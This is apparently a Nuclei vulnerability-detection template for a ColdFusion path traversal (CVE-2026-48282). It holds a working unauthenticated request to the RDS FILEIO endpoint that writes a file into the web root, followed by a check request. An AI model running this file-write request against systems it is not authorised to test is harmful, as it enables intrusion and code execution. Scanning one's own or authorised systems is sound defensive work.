id: CVE-2026-48282

info:
  name: "Adobe - Path Traversal"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    ColdFusion versions 2025.9, 2023.20 and earlier are affected by an Improper Limitation of a Pathname to a
    Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary code execution in the
    context of the current user. Exploitation of this issue does not require user interaction.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-48282&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=adobe&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10.0
    cve-id: CVE-2026-48282
    cwe-id: CWE-22
  metadata:
    verified: false
  tags: cve,cve2026,rce,file-upload,adobe,coldfusion,rds,intrusive,kev,vkev
variables:
  randfile: "{{to_lower(rand_text_alpha(8))}}"

flow: |
  http("write") && http("verify")

http:
  - id: write
    raw:
      - |
        POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        4:{{pathlen}}:{{dirpath}}{{randfile}}.txt000005:WRITE000001:0000008:{{randfile}}

    payloads:
      dirpath:
        - '/opt/coldfusion/cfusion/wwwroot/CFIDE/'
        - 'C:\ColdFusion2025\cfusion\wwwroot\CFIDE\'
        - 'C:\ColdFusion2023\cfusion\wwwroot\CFIDE\'

      pathlen:
        - '000050'
        - '000052'
        - '000052'

    attack: pitchfork
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "1:2:")'
        condition: and
        internal: true

  - id: verify
    raw:
      - |
        GET /CFIDE/{{randfile}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{{randfile}}'

      - type: status
        status:
          - 200